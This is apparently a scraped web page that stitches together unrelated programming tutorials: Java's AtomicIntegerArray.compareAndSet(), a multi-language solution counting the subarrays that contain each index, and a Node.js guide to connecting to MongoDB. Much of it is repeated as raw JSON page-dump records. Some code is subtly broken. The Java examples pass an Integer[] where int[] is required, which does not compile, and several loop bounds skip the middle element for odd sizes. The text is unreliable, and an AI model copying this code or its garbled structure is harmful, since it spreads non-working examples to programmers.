index where operation is to be made. expect: The expected value to check if it is equal to current value. update: The value to be updated.Return value: The function returns a boolean value stating if the value has been updated. It returns true if successful, else it returns false indicating that the current value was not equal to the expected value.Below programs illustrate the above method:Program 1:// Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array Integer a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println("The array : " + arr); // Index where operation is performed int idx = 3; // Value to expect at idx Integer expect = 4; // Value to update if current value // is equal to expected value Integer update = 40; // Updating the value at idx // applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println("The array after update : " + arr); }}Output:The array : [1, 2, 3, 4, 5] The array after update : [1, 2, 3, 40, 5] Program 2:// Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array Integer a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println("The array : " + arr); // Index where operation is performed int idx = 3; // Value to expect at idx Integer expect = 40; // Value to update if current value // is equal to expected value Integer update = 4; // Updating the value at // idx applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println("The array after update : " + arr); }}Output:The array : [1, 2, 3, 4, 5] The array after update : [1, 2, 3, 4, 5] Reference: https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/atomic/AtomicIntegerArray.html#compareAndSet(int, %20int, %20int)My Personal Notes arrow_drop_upSave Return value: The function returns a boolean value stating if the value has been updated. It returns true if successful, else it returns false indicating that the current value was not equal to the expected value. Below programs illustrate the above method:Program 1: // Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array Integer a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println("The array : " + arr); // Index where operation is performed int idx = 3; // Value to expect at idx Integer expect = 4; // Value to update if current value // is equal to expected value Integer update = 40; // Updating the value at idx // applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println("The array after update : " + arr); }} The array : [1, 2, 3, 4, 5] The array after update : [1, 2, 3, 40, 5] Program 2: // Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array Integer a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println("The array : " + arr); // Index where operation is performed int idx = 3; // Value to expect at idx Integer expect = 40; // Value to update if current value // is equal to expected value Integer update = 4; // Updating the value at // idx applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println("The array after update : " + arr); }} The array : [1, 2, 3, 4, 5] The array after update : [1, 2, 3, 4, 5] Reference: https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/atomic/AtomicIntegerArray.html#compareAndSet(int, %20int, %20int) Java-AtomicIntegerArray Java-concurrent-package Java-Functions Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Stream In Java Constructors in Java Exceptions in Java Functional Interfaces in Java Different ways of Reading a text file in Java Generics in Java Introduction to Java Comparator Interface in Java with Examples Internal Working of HashMap in Java Strings in Java
[ { "code": null, "e": 25225, "s": 25197, "text": "\n27 Feb, 2019" }, { "code": null, "e": 25608, "s": 25225, "text": "The Java.util.concurrent.atomic.AtomicIntegerArray.compareAndSet() is an inbuilt method in java that atomically sets the element at a position to the given updated value if the current value is equal to the expected value. This method takes the index value, the expected value and the update value as the parameters and returns a boolean value stating if the value has been updated." }, { "code": null, "e": 25616, "s": 25608, "text": "Syntax:" }, { "code": null, "e": 25682, "s": 25616, "text": "public final boolean compareAndSet(int i, int expect, int update)" }, { "code": null, "e": 25733, "s": 25682, "text": "Parameters: The function accepts three parameters:" }, { "code": null, "e": 25777, "s": 25733, "text": "i: The index where operation is to be made." }, { "code": null, "e": 25846, "s": 25777, "text": "expect: The expected value to check if it is equal to current value." }, { "code": null, "e": 25879, "s": 25846, "text": "update: The value to be updated." }, { "code": null, "e": 26093, "s": 25879, "text": "Return value: The function returns a boolean value stating if the value has been updated. It returns true if successful, else it returns false indicating that the current value was not equal to the expected value." }, { "code": null, "e": 26147, "s": 26093, "text": "Below programs illustrate the above method:Program 1:" }, { "code": "// Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array int a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println(\"The array : \" + arr); // Index where operation is performed int idx = 3; // Value to expect at idx int expect = 4; // Value to update if current value // is equal to expected value int update = 40; // Updating the value at idx // applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println(\"The array after update : \" + arr); }}", "e": 27106, "s": 26147, "text": null }, { "code": null, "e": 27177, "s": 27106, "text": "The array : [1, 2, 3, 4, 5]\nThe array after update : [1, 2, 3, 40, 5]\n" }, { "code": null, "e": 27188, "s": 27177, "text": "Program 2:" }, { "code": "// Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array int a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println(\"The array : \" + arr); // Index where operation is performed int idx = 3; // Value to expect at idx int expect = 40; // Value to update if current value // is equal to expected value int update = 4; // Updating the value at // idx applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println(\"The array after update : \" + arr); }}", "e": 28147, "s": 27188, "text": null }, { "code": null, "e": 28217, "s": 28147, "text": "The array : [1, 2, 3, 4, 5]\nThe array after update : [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 28611, "s": 28217, "text": "Reference: The Java.util.concurrent.atomic.AtomicIntegerArray.compareAndSet() is an inbuilt method in java that atomically sets the element at a position to the given updated value if the current value is equal to the expected value. This method takes the index value, the expected value and the update value as the parameters and returns a boolean value stating if the value has been updated." }, { "code": null, "e": 28619, "s": 28611, "text": "Syntax:" }, { "code": null, "e": 28693, "s": 28619, "text": "public final boolean compareAndSet(int i, Integer expect, Integer update)" }, { "code": null, "e": 28744, "s": 28693, "text": "Parameters: The function accepts three parameters:" }, { "code": null, "e": 28788, "s": 28744, "text": "i: The index where operation is to be made." }, { "code": null, "e": 28857, "s": 28788, "text": "expect: The expected value to check if it is equal to current value." }, { "code": null, "e": 31433, "s": 28857, "text": "update: The value to be updated.Return value: The function returns a boolean value stating if the value has been updated. It returns true if successful, else it returns false indicating that the current value was not equal to the expected value.Below programs illustrate the above method:Program 1:// Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array Integer a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println(\"The array : \" + arr); // Index where operation is performed int idx = 3; // Value to expect at idx Integer expect = 4; // Value to update if current value // is equal to expected value Integer update = 40; // Updating the value at idx // applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println(\"The array after update : \" + arr); }}Output:The array : [1, 2, 3, 4, 5]\nThe array after update : [1, 2, 3, 40, 5]\nProgram 2:// Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array Integer a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println(\"The array : \" + arr); // Index where operation is performed int idx = 3; // Value to expect at idx Integer expect = 40; // Value to update if current value // is equal to expected value Integer update = 4; // Updating the value at // idx applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println(\"The array after update : \" + arr); }}Output:The array : [1, 2, 3, 4, 5]\nThe array after update : [1, 2, 3, 4, 5]\nReference: https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/atomic/AtomicIntegerArray.html#compareAndSet(int, %20int, %20int)My Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 31647, "s": 31433, "text": "Return value: The function returns a boolean value stating if the value has been updated. It returns true if successful, else it returns false indicating that the current value was not equal to the expected value." }, { "code": null, "e": 31701, "s": 31647, "text": "Below programs illustrate the above method:Program 1:" }, { "code": "// Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array Integer a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println(\"The array : \" + arr); // Index where operation is performed int idx = 3; // Value to expect at idx Integer expect = 4; // Value to update if current value // is equal to expected value Integer update = 40; // Updating the value at idx // applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println(\"The array after update : \" + arr); }}", "e": 32672, "s": 31701, "text": null }, { "code": null, "e": 32743, "s": 32672, "text": "The array : [1, 2, 3, 4, 5]\nThe array after update : [1, 2, 3, 40, 5]\n" }, { "code": null, "e": 32754, "s": 32743, "text": "Program 2:" }, { "code": "// Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array Integer a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println(\"The array : \" + arr); // Index where operation is performed int idx = 3; // Value to expect at idx Integer expect = 40; // Value to update if current value // is equal to expected value Integer update = 4; // Updating the value at // idx applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println(\"The array after update : \" + arr); }}", "e": 33725, "s": 32754, "text": null }, { "code": null, "e": 33795, "s": 33725, "text": "The array : [1, 2, 3, 4, 5]\nThe array after update : [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 33935, "s": 33795, "text": "Reference: https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/atomic/AtomicIntegerArray.html#compareAndSet(int, %20int, %20int)" }, { "code": null, "e": 33959, "s": 33935, "text": "Java-AtomicIntegerArray" }, { "code": null, "e": 33983, "s": 33959, "text": "Java-concurrent-package" }, { "code": null, "e": 33998, "s": 33983, "text": "Java-Functions" }, { "code": null, "e": 34003, "s": 33998, "text": "Java" }, { "code": null, "e": 34008, "s": 34003, "text": "Java" }, { "code": null, "e": 34106, "s": 34008, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34121, "s": 34106, "text": "Stream In Java" }, { "code": null, "e": 34142, "s": 34121, "text": "Constructors in Java" }, { "code": null, "e": 34161, "s": 34142, "text": "Exceptions in Java" }, { "code": null, "e": 34191, "s": 34161, "text": "Functional Interfaces in Java" }, { "code": null, "e": 34237, "s": 34191, "text": "Different ways of Reading a text file in Java" }, { "code": null, "e": 34254, "s": 34237, "text": "Generics in Java" }, { "code": null, "e": 34275, "s": 34254, "text": "Introduction to Java" }, { "code": null, "e": 34318, "s": 34275, "text": "Comparator Interface in Java with Examples" }, { "code": null, "e": 34354, "s": 34318, "text": "Internal Working of HashMap in Java" } ]
Count of contiguous subarrays possible for every index by including the element at that index - GeeksforGeeks
24 Feb, 2022 Given a number N which represents the size of the array A[], the task is to find the number of contiguous subarrays that can be formed for every index of the array by including the element at that index in the original array. Examples: Input: N = 4 Output: {4, 6, 6, 4} Explanation: Since the size of the array is given as 4. Let’s assume the array to be {1, 2, 3, 4}. The number of subarrays that contain 1 are: {{1}, {1, 2}, {1, 2, 3}, {1, 2, 3, 4}} The number of subarrays that contain 2 are: {{2}, {2, 3}, {2, 3, 4}, {1, 2}, {1, 2, 3}, {1, 2, 3, 4}} The number of subarrays that contain 3 are: {{3}, {2, 3}, {2, 3, 4}, {3, 4}, {1, 2, 3}, {1, 2, 3, 4}} The number of subarrays that contain 4 are: {{4}, {3, 4}, {2, 3, 4}, {1, 2, 3, 4}} Input: 3 Output: {3, 4, 3} Explanation: Since the size of the array is given as 3. Lets assume the array to be {1, 2, 3}. The number of subarrays that contain 1 are: {{1}, {1, 2}, {1, 2, 3}} The number of subarrays that contain 2 are: {{2}, {1, 2}, {2, 3}, {1, 2, 3}} The number of subarrays that contain 3 are: {{3}, {2, 3}, {1, 2, 3}} Approach: The idea is to use the concept of permutation and combination. It can be observed that the number of subarrays possible including the element at the ith index is always equal to the number of subarrays possible including the element at the index (N – i) where N is the length of the array. Iterate through the first half of the array. The number of subarrays including the element at the ith index is always equal to the number of subarrays including the element at the index N – i. Therefore, simultaneously update the count for both the indices. To calculate the number of subarrays that include the element at the ith index, we simply subtract the number of subarrays not including the element at the ith index from the total number of ways. Therefore, the formula to calculate the required value is: Count of possible subarrays = N * (i + 1) - i * (i + 1) where i is the current index. Calculate and store the above values for every index. Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ program to find the number of// contiguous subarrays including// the element at every index// of the array of size N #include <bits/stdc++.h>using namespace std; // Function to find the number of// subarrays including the element// at every index of the arrayvector<int> calculateWays(int N){ int x = 0; vector<int> v; // Creating an array of size N for (int i = 0; i < N; i++) v.push_back(0); // The loop is iterated till half the // length of the array for (int i = 0; i <= N / 2; i++) { // Condition to avoid overwriting // the middle element for the // array with even length. if (N % 2 == 0 && i == N / 2) break; // Computing the number of subarrays x = N * (i + 1) - (i + 1) * i; // The ith element from the beginning // and the ending have the same // number of possible subarrays v[i] = x; v[N - i - 1] = x; } return v;} // Function to print the vectorvoid printArray(vector<int> v){ for (int i = 0; i < v.size(); i++) cout << v[i] << " ";} // Driver codeint main(){ vector<int> v; v = calculateWays(4); printArray(v); return 0;} // Java program to find the number// of contiguous subarrays including// the element at every index// of the array of size Nimport java.util.Scanner; class contiguous_subarrays{ // Function to find the number of// subarrays including the element// at every index of the arraypublic static int[] calculateWays(int n){ int x = 0; // Creating an array of size N int[]v = new int[n]; for(int i = 0; i < n; i++) v[i] = 0; // The loop is iterated till half the // length of the array for(int i = 0; i < n / 2; i++) { // Condition to avoid overwriting // the middle element for the // array with even length. if(n % 2 == 0 && i == n / 2) break; // Computing the number of subarrays x = n * (i + 1) - (i + 1) * i; // The ith element from the beginning // and the ending have the same // number of possible subarray v[i] = x; v[n - i - 1] = x; } return v;} // Function to print the vectorpublic static void printArray(int[]v){ for(int i = 0; i < v.length; i++) System.out.print(v[i] + " ");} // Driver codepublic static void main (String args[]){ int[]v; v = calculateWays(4); printArray(v);}} // This code is contributed by sayesha # Python3 program to find the number of# contiguous subarrays including# the element at every index# of the array of size N # Function to find the number of# subarrays including the element# at every index of the arraydef calculateWays(N): x = 0; v = []; # Creating an array of size N for i in range(N): v.append(0); # The loop is iterated till half the # length of the array for i in range(N // 2 + 1): # Condition to avoid overwriting # the middle element for the # array with even length. if (N % 2 == 0 and i == N // 2): break; # Computing the number of subarrays x = N * (i + 1) - (i + 1) * i; # The ith element from the beginning # and the ending have the same # number of possible subarrays v[i] = x; v[N - i - 1] = x; return v; # Function to print the vectordef printArray(v): for i in range(len(v)): print(v[i], end = " "); # Driver codeif __name__ == "__main__": v = calculateWays(4); printArray(v); # This code is contributed by AnkitRai01 // C# program to find the number// of contiguous subarrays including// the element at every index// of the array of size Nusing System; class GFG{ // Function to find the number of// subarrays including the element// at every index of the arraypublic static int[] calculateWays(int N){ int x = 0; // Creating an array of size N int[]v = new int[N]; for(int i = 0; i < N; i++) v[i] = 0; // The loop is iterated till half // the length of the array for(int i = 0; i < N / 2; i++) { // Condition to avoid overwriting // the middle element for the // array with even length. if(N % 2 == 0 && i == N / 2) break; // Computing the number of subarrays x = N * (i + 1) - (i + 1) * i; // The ith element from the beginning // and the ending have the same // number of possible subarray v[i] = x; v[N - i - 1] = x; } return v;} // Function to print the vectorpublic static void printArray(int []v){ for(int i = 0; i < v.Length; i++) { Console.Write(v[i] + " "); }} // Driver codepublic static void Main (string []args){ int []v; v = calculateWays(4); printArray(v);}} // This code is contributed by rutvik_56 <script> // Javascript program to find the number// of contiguous subarrays including// the element at every index// of the array of size N // Function to find the number of// subarrays including the element// at every index of the arrayfunction calculateWays(n){ let x = 0; // Creating an array of size N let v = Array.from({length: n}, (_, i) => 0); for(let i = 0; i < n; i++) v[i] = 0; // The loop is iterated till half the // length of the array for(let i = 0; i < n / 2; i++) { // Condition to avoid overwriting // the middle element for the // array with even length. if(n % 2 == 0 && i == n / 2) break; // Computing the number of subarrays x = n * (i + 1) - (i + 1) * i; // The ith element from the beginning // and the ending have the same // number of possible subarray v[i] = x; v[n - i - 1] = x; } return v;} // Function to printt the vectorfunction printArray(v){ for(let i = 0; i < v.length; i++) document.write(v[i] + " ");} // Driver Codelet v;v = calculateWays(4); printArray(v); // This code is contributed by target_2 </script> 4 6 6 4 Time Complexity: O(n) Auxiliary Space: O(n) ankthon rutvik_56 target_2 rishavmahato348 simranarora5sos Arrays Mathematical School Programming Arrays Mathematical Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Count pairs with given sum Chocolate Distribution Problem Window Sliding Technique Reversal algorithm for array rotation Next Greater Element Program for Fibonacci numbers Write a program to print all permutations of a given string C++ Data Types Set in C++ Standard Template Library (STL) Coin Change | DP-7
[ { "code": null, "e": 26041, "s": 26013, "text": "\n24 Feb, 2022" }, { "code": null, "e": 26267, "s": 26041, "text": "Given a number N which represents the size of the array A[], the task is to find the number of contiguous subarrays that can be formed for every index of the array by including the element at that index in the original array." }, { "code": null, "e": 26278, "s": 26267, "text": "Examples: " }, { "code": null, "e": 26781, "s": 26278, "text": "Input: N = 4 Output: {4, 6, 6, 4} Explanation: Since the size of the array is given as 4. Let’s assume the array to be {1, 2, 3, 4}. The number of subarrays that contain 1 are: {{1}, {1, 2}, {1, 2, 3}, {1, 2, 3, 4}} The number of subarrays that contain 2 are: {{2}, {2, 3}, {2, 3, 4}, {1, 2}, {1, 2, 3}, {1, 2, 3, 4}} The number of subarrays that contain 3 are: {{3}, {2, 3}, {2, 3, 4}, {3, 4}, {1, 2, 3}, {1, 2, 3, 4}} The number of subarrays that contain 4 are: {{4}, {3, 4}, {2, 3, 4}, {1, 2, 3, 4}}" }, { "code": null, "e": 27120, "s": 26781, "text": "Input: 3 Output: {3, 4, 3} Explanation: Since the size of the array is given as 3. Lets assume the array to be {1, 2, 3}. The number of subarrays that contain 1 are: {{1}, {1, 2}, {1, 2, 3}} The number of subarrays that contain 2 are: {{2}, {1, 2}, {2, 3}, {1, 2, 3}} The number of subarrays that contain 3 are: {{3}, {2, 3}, {1, 2, 3}} " }, { "code": null, "e": 27422, "s": 27120, "text": "Approach: The idea is to use the concept of permutation and combination. It can be observed that the number of subarrays possible including the element at the ith index is always equal to the number of subarrays possible including the element at the index (N – i) where N is the length of the array. " }, { "code": null, "e": 27467, "s": 27422, "text": "Iterate through the first half of the array." }, { "code": null, "e": 27680, "s": 27467, "text": "The number of subarrays including the element at the ith index is always equal to the number of subarrays including the element at the index N – i. Therefore, simultaneously update the count for both the indices." }, { "code": null, "e": 27877, "s": 27680, "text": "To calculate the number of subarrays that include the element at the ith index, we simply subtract the number of subarrays not including the element at the ith index from the total number of ways." }, { "code": null, "e": 27936, "s": 27877, "text": "Therefore, the formula to calculate the required value is:" }, { "code": null, "e": 27992, "s": 27936, "text": "Count of possible subarrays = N * (i + 1) - i * (i + 1)" }, { "code": null, "e": 28022, "s": 27992, "text": "where i is the current index." }, { "code": null, "e": 28076, "s": 28022, "text": "Calculate and store the above values for every index." }, { "code": null, "e": 28128, "s": 28076, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 28132, "s": 28128, "text": "C++" }, { "code": null, "e": 28137, "s": 28132, "text": "Java" }, { "code": null, "e": 28145, "s": 28137, "text": "Python3" }, { "code": null, "e": 28148, "s": 28145, "text": "C#" }, { "code": null, "e": 28159, "s": 28148, "text": "Javascript" }, { "code": "// C++ program to find the number of// contiguous subarrays including// the element at every index// of the array of size N #include <bits/stdc++.h>using namespace std; // Function to find the number of// subarrays including the element// at every index of the arrayvector<int> calculateWays(int N){ int x = 0; vector<int> v; // Creating an array of size N for (int i = 0; i < N; i++) v.push_back(0); // The loop is iterated till half the // length of the array for (int i = 0; i <= N / 2; i++) { // Condition to avoid overwriting // the middle element for the // array with even length. if (N % 2 == 0 && i == N / 2) break; // Computing the number of subarrays x = N * (i + 1) - (i + 1) * i; // The ith element from the beginning // and the ending have the same // number of possible subarrays v[i] = x; v[N - i - 1] = x; } return v;} // Function to print the vectorvoid printArray(vector<int> v){ for (int i = 0; i < v.size(); i++) cout << v[i] << \" \";} // Driver codeint main(){ vector<int> v; v = calculateWays(4); printArray(v); return 0;}", "e": 29355, "s": 28159, "text": null }, { "code": "// Java program to find the number// of contiguous subarrays including// the element at every index// of the array of size Nimport java.util.Scanner; class contiguous_subarrays{ // Function to find the number of// subarrays including the element// at every index of the arraypublic static int[] calculateWays(int n){ int x = 0; // Creating an array of size N int[]v = new int[n]; for(int i = 0; i < n; i++) v[i] = 0; // The loop is iterated till half the // length of the array for(int i = 0; i < n / 2; i++) { // Condition to avoid overwriting // the middle element for the // array with even length. if(n % 2 == 0 && i == n / 2) break; // Computing the number of subarrays x = n * (i + 1) - (i + 1) * i; // The ith element from the beginning // and the ending have the same // number of possible subarray v[i] = x; v[n - i - 1] = x; } return v;} // Function to print the vectorpublic static void printArray(int[]v){ for(int i = 0; i < v.length; i++) System.out.print(v[i] + \" \");} // Driver codepublic static void main (String args[]){ int[]v; v = calculateWays(4); printArray(v);}} // This code is contributed by sayesha", "e": 30670, "s": 29355, "text": null }, { "code": "# Python3 program to find the number of# contiguous subarrays including# the element at every index# of the array of size N # Function to find the number of# subarrays including the element# at every index of the arraydef calculateWays(N): x = 0; v = []; # Creating an array of size N for i in range(N): v.append(0); # The loop is iterated till half the # length of the array for i in range(N // 2 + 1): # Condition to avoid overwriting # the middle element for the # array with even length. if (N % 2 == 0 and i == N // 2): break; # Computing the number of subarrays x = N * (i + 1) - (i + 1) * i; # The ith element from the beginning # and the ending have the same # number of possible subarrays v[i] = x; v[N - i - 1] = x; return v; # Function to print the vectordef printArray(v): for i in range(len(v)): print(v[i], end = \" \"); # Driver codeif __name__ == \"__main__\": v = calculateWays(4); printArray(v); # This code is contributed by AnkitRai01", "e": 31776, "s": 30670, "text": null }, { "code": "// C# program to find the number// of contiguous subarrays including// the element at every index// of the array of size Nusing System; class GFG{ // Function to find the number of// subarrays including the element// at every index of the arraypublic static int[] calculateWays(int N){ int x = 0; // Creating an array of size N int[]v = new int[N]; for(int i = 0; i < N; i++) v[i] = 0; // The loop is iterated till half // the length of the array for(int i = 0; i < N / 2; i++) { // Condition to avoid overwriting // the middle element for the // array with even length. if(N % 2 == 0 && i == N / 2) break; // Computing the number of subarrays x = N * (i + 1) - (i + 1) * i; // The ith element from the beginning // and the ending have the same // number of possible subarray v[i] = x; v[N - i - 1] = x; } return v;} // Function to print the vectorpublic static void printArray(int []v){ for(int i = 0; i < v.Length; i++) { Console.Write(v[i] + \" \"); }} // Driver codepublic static void Main (string []args){ int []v; v = calculateWays(4); printArray(v);}} // This code is contributed by rutvik_56", "e": 33070, "s": 31776, "text": null }, { "code": "<script> // Javascript program to find the number// of contiguous subarrays including// the element at every index// of the array of size N // Function to find the number of// subarrays including the element// at every index of the arrayfunction calculateWays(n){ let x = 0; // Creating an array of size N let v = Array.from({length: n}, (_, i) => 0); for(let i = 0; i < n; i++) v[i] = 0; // The loop is iterated till half the // length of the array for(let i = 0; i < n / 2; i++) { // Condition to avoid overwriting // the middle element for the // array with even length. if(n % 2 == 0 && i == n / 2) break; // Computing the number of subarrays x = n * (i + 1) - (i + 1) * i; // The ith element from the beginning // and the ending have the same // number of possible subarray v[i] = x; v[n - i - 1] = x; } return v;} // Function to printt the vectorfunction printArray(v){ for(let i = 0; i < v.length; i++) document.write(v[i] + \" \");} // Driver Codelet v;v = calculateWays(4); printArray(v); // This code is contributed by target_2 </script>", "e": 34319, "s": 33070, "text": null }, { "code": null, "e": 34327, "s": 34319, "text": "4 6 6 4" }, { "code": null, "e": 34351, "s": 34329, "text": "Time Complexity: O(n)" }, { "code": null, "e": 34373, "s": 34351, "text": "Auxiliary Space: O(n)" }, { "code": null, "e": 34381, "s": 34373, "text": "ankthon" }, { "code": null, "e": 34391, "s": 34381, "text": "rutvik_56" }, { "code": null, "e": 34400, "s": 34391, "text": "target_2" }, { "code": null, "e": 34416, "s": 34400, "text": "rishavmahato348" }, { "code": null, "e": 34432, "s": 34416, "text": "simranarora5sos" }, { "code": null, "e": 34439, "s": 34432, "text": "Arrays" }, { "code": null, "e": 34452, "s": 34439, "text": "Mathematical" }, { "code": null, "e": 34471, "s": 34452, "text": "School Programming" }, { "code": null, "e": 34478, "s": 34471, "text": "Arrays" }, { "code": null, "e": 34491, "s": 34478, "text": "Mathematical" }, { "code": null, "e": 34589, "s": 34491, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34616, "s": 34589, "text": "Count pairs with given sum" }, { "code": null, "e": 34647, "s": 34616, "text": "Chocolate Distribution Problem" }, { "code": null, "e": 34672, "s": 34647, "text": "Window Sliding Technique" }, { "code": null, "e": 34710, "s": 34672, "text": "Reversal algorithm for array rotation" }, { "code": null, "e": 34731, "s": 34710, "text": "Next Greater Element" }, { "code": null, "e": 34761, "s": 34731, "text": "Program for Fibonacci numbers" }, { "code": null, "e": 34821, "s": 34761, "text": "Write a program to print all permutations of a given string" }, { "code": null, "e": 34836, "s": 34821, "text": "C++ Data Types" }, { "code": null, "e": 34879, "s": 34836, "text": "Set in C++ Standard Template Library (STL)" } ]
How to connect mongodb Server with Node.js ? - GeeksforGeeks
25 Oct, 2020 mongodb.connect() method is the method of the MongoDB module of the Node.js which is used to connect the database with our Node.js Application. This is an asynchronous method of the MongoDB module. Syntax: mongodb.connect(path,callbackfunction) Parameters: This method accept two parameters as mentioned above and described below: Path/URL: The Path of the server of the MongoDB server which is running on a particular port number.callbackfunction: It returns the err or the instance of the mongodb database for further operation if connection successful. Path/URL: The Path of the server of the MongoDB server which is running on a particular port number. callbackfunction: It returns the err or the instance of the mongodb database for further operation if connection successful. Installing module: npm install mongodb --save Project structure: Command to run server on particular ip: mongod --dbpath=data --bind_ip 127.0.0.1 FileName index.js Javascript // Module callingconst MongoClient = require("mongodb"); // Server pathconst url = 'mongodb://localhost:27017/'; // Name of the databaseconst dbname = "conFusion"; MongoClient.connect(url, (err,client)=>{ if(!err) { console.log("successful connection with the server"); } else console.log("Error in the connectivity");}) Running command: node index.js Output: node index.js (node:7016) DeprecationWarning: current Server Discovery and Monitoring engine is deprecated, and will be removed in a future version. To use the new Server Discover and Monitoring engine, pass option { useUnifiedTopology: true } to the MongoClient constructor. (Use `node --trace-deprecation ...` to show where the warning was created) successful connection with the server Node.js-Misc MongoDB Node.js Web Technologies Web technologies Questions Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Spring Boot JpaRepository with Example Aggregation in MongoDB Mongoose Populate() Method MongoDB - Check the existence of the fields in the specified collection How to build a basic CRUD app with Node.js and ReactJS ? Installation of Node.js on Linux How to update Node.js and NPM to next version ? Node.js fs.readFileSync() Method Node.js fs.writeFile() Method Node.js fs.readFile() Method
[ { "code": null, "e": 26657, "s": 26629, "text": "\n25 Oct, 2020" }, { "code": null, "e": 26855, "s": 26657, "text": "mongodb.connect() method is the method of the MongoDB module of the Node.js which is used to connect the database with our Node.js Application. This is an asynchronous method of the MongoDB module." }, { "code": null, "e": 26863, "s": 26855, "text": "Syntax:" }, { "code": null, "e": 26903, "s": 26863, "text": "mongodb.connect(path,callbackfunction)\n" }, { "code": null, "e": 26989, "s": 26903, "text": "Parameters: This method accept two parameters as mentioned above and described below:" }, { "code": null, "e": 27214, "s": 26989, "text": "Path/URL: The Path of the server of the MongoDB server which is running on a particular port number.callbackfunction: It returns the err or the instance of the mongodb database for further operation if connection successful." }, { "code": null, "e": 27315, "s": 27214, "text": "Path/URL: The Path of the server of the MongoDB server which is running on a particular port number." }, { "code": null, "e": 27440, "s": 27315, "text": "callbackfunction: It returns the err or the instance of the mongodb database for further operation if connection successful." }, { "code": null, "e": 27459, "s": 27440, "text": "Installing module:" }, { "code": null, "e": 27487, "s": 27459, "text": "npm install mongodb --save\n" }, { "code": null, "e": 27506, "s": 27487, "text": "Project structure:" }, { "code": null, "e": 27546, "s": 27506, "text": "Command to run server on particular ip:" }, { "code": null, "e": 27588, "s": 27546, "text": "mongod --dbpath=data --bind_ip 127.0.0.1\n" }, { "code": null, "e": 27606, "s": 27588, "text": "FileName index.js" }, { "code": null, "e": 27617, "s": 27606, "text": "Javascript" }, { "code": "// Module callingconst MongoClient = require(\"mongodb\"); // Server pathconst url = 'mongodb://localhost:27017/'; // Name of the databaseconst dbname = \"conFusion\"; MongoClient.connect(url, 